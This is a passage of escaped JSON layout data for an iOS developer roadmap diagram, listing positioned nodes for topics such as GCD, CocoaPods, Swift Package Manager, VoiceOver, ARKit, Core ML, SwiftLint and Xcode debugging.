\"width\": 165,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 246.15193584006727,\n        \"y\": 3216.234312830552\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"fbloF-u4XwdHLmBS9flZm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3225.734312830552\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency and Multithreading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JoNoM-utp8MaL1H0oXDta\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3225.734312830552\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aROcI1RucAyu-gHn-tVnj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -110.12009536003166,\n        \"y\": 3066.941243390678\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UTVh1RHRWb5eA-S7ayLp8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -110.12009536003166,\n        \"y\": 3066.941243390678\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mdAV4JlF08q-ZQpb5C3q6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -108.12009536003166,\n        \"y\": 3121.8972064310155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operation Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aROcI1RucAyu-gHn-tVnj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -108.12009536003166,\n        \"y\": 3121.8972064310155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Tv8-WUcKiZMLHuunQwise\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -478.9940790252072,\n        \"y\": 3295.734312830552\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependency Manager\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fbloF-u4XwdHLmBS9flZm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.9940790252072,\n        \"y\": 3295.734312830552\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"epr1sOEZIAOwlgb8bre7r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -480.4940790252072,\n        \"y\": 3170.8972064310155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CocoaPods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aROcI1RucAyu-gHn-tVnj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -480.4940790252072,\n        \"y\": 3170.8972064310155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tIHjjNTXJWcNgkO6TB9ea\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -355.16112650248095,\n        \"y\": 3170.8972064310155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Carthage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"epr1sOEZIAOwlgb8bre7r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -355.16112650248095,\n        \"y\": 3170.8972064310155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KFkX8_Hv9SCFeCtZMZIQM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -478.9940790252072,\n        \"y\": 3224.8972064310155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Swift Package Manager\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"epr1sOEZIAOwlgb8bre7r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.9940790252072,\n        \"y\": 3224.8972064310155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pZVPsgvCpP3zUgBM4i0CF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3363.918239546188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks & Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Tv8-WUcKiZMLHuunQwise\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3363.918239546188\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"MaHtZSIPxDzrnB33_9OdV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3464.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XCFramework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3GtrUXvLgvXK3G8cXRb-P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3464.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RuXuHQhMt2nywk43LgGeJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3518.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Static Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MaHtZSIPxDzrnB33_9OdV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3518.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lrb4HZYrZU7SJlbedZp7U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3572.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dynamic Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RuXuHQhMt2nywk43LgGeJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -146.66112650248095,\n        \"y\": 3572.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1DZYPqvgY6GtwMCS7N2y-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 229.87947885298604,\n        \"y\": 3518.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pZVPsgvCpP3zUgBM4i0CF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 229.87947885298604,\n        \"y\": 3518.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"h34LaYQ3JYN2AZPMDqpmO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3315.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Accessibility Inspector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MaHtZSIPxDzrnB33_9OdV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3315.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"trAMZVA4tDB7b_qAgiWNW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3369.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Voice Over\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RuXuHQhMt2nywk43LgGeJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3369.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0nei6iwP4Pgi_j4vVi_Qt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3423.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dynamic Type\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Lrb4HZYrZU7SJlbedZp7U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.37947885298604,\n        \"y\": 3423.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S2XZJv3TAnEJcTcHA3e62\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 207.87947885298604,\n        \"y\": 3644.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Services\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"YzJVkZbOzgp5w9N0IQBN_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 70,\n      \"positionAbsolute\": {\n        \"x\": 207.87947885298604,\n        \"y\": 3644.9741149111323\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 70\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 70\n      }\n    },\n    {\n      \"id\": \"tRGa3-KBDwc7pCZi7Bdh0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 493.87947885298604,\n        \"y\": 3658.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tBybxRQEnlt6VuyTyCJD7\"\n      },\n      \"zIndex\": -999,\n      \"width\": 175,\n      \"height\": 336,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 336\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.87947885298604,\n        \"y\": 3658.4741149111323\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 336\n      }\n    },\n    {\n      \"id\": \"PdzCQXZIivw3zCYPtokJV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.87947885298604,\n        \"y\": 3655.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mUMDZsgzCB6cs_K6pfUY1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 493.87947885298604,\n        \"y\": 3655.4741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k3uHcF0CsyHr6PK95UwR1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3715.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ARKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gqd6zjxP_qFj4Ru-6LARo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3715.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jsu5f6QASpuvpky_W5q-O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3769.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HealthKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jb89kQxDhZND3vQo0EH7r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3769.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H5F9P5xeQiHhWhS6jEzp5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3823.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GameKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Jsu5f6QASpuvpky_W5q-O\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3823.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XOXsjaQ-YyuAMpVCqH8KG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3877.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MapKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H5F9P5xeQiHhWhS6jEzp5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3877.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7s9Elv80TbZX_-NZpyutj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3932.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core ML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XOXsjaQ-YyuAMpVCqH8KG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 503.87947885298604,\n        \"y\": 3932.4741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"loxQ6vCyDimwNFKqj4ZUg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -32.120095360031655,\n        \"y\": 3644.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linting\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"S2XZJv3TAnEJcTcHA3e62\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 69,\n      \"positionAbsolute\": {\n        \"x\": -32.120095360031655,\n        \"y\": 3644.9741149111323\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"DVe8S6TjKcQ8LT5G-aMVa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3654.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code Quality Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pZVPsgvCpP3zUgBM4i0CF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3654.4741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"NnTC3R8goZQTXHmfHKHbM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3427.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SwiftLint\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MaHtZSIPxDzrnB33_9OdV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3427.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F5796wzm5Ar6sQt-1y8vH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3481.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tailor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RuXuHQhMt2nywk43LgGeJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3481.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TMFvfwG45Z00PzrzZIVhT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3535.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SwiftFormat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Lrb4HZYrZU7SJlbedZp7U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -475.9940790252072,\n        \"y\": 3535.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hLkexoRp0CjR8BW6xNDgy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -435.9940790252072,\n        \"y\": 3755.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"loxQ6vCyDimwNFKqj4ZUg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 69,\n      \"positionAbsolute\": {\n        \"x\": -435.9940790252072,\n        \"y\": 3755.4741149111323\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"OZZ3UnWN2gFflbM_WaJ8H\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -181.02142387891507,\n        \"y\": 3764.4741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DVe8S6TjKcQ8LT5G-aMVa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -181.02142387891507,\n        \"y\": 3764.4741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"WxshXCloVDkVkQV0JvI1w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -173.52142387891507,\n        \"y\": 3848.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Xcode Debugger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NnTC3R8goZQTXHmfHKHbM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -173.52142387891507,\n        \"y\": 3848.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y24WWPej0C7-FiBeXpvl3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.52142387891507,\n        \"y\": 3902.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Profiling Instruments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"F5796wzm5Ar6sQt-1y8vH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -172.52142387891507,\n        \"y\": 3902.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GtK5YThTHPSetosY0WMRw\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 277.15193584006727,\n        \"y\": 4073.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"hLkexoRp0CjR8BW6xNDgy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 277.15193584006727,\n        \"y\": 4073.7912124800087\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"zcKDSUL7_3D-eN-rtu9Cm\",\n      \"type\": \"section\",\n      